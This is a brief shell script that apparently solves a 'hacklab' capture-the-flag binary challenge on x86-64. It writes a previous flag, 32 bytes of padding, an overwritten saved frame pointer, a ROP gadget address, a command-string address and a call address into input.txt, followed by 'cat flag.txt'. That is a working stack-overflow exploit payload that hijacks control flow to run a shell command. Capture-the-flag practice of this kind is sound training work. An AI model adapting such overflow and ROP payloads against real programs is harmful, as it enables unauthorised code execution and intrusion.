OLDFLAG="hacklab{w3lc0m3_t0_x86_64_explo1t4t1on_I0vGIviy}"
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00"
GADGET1="\xc3\x12\x40\00\00\00\00\00"
CMDADDR="\x08\x20\x40\00\00\00\00\00"
CMDCALL="\x96\x11\x40\00\00\00\00\00"

printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt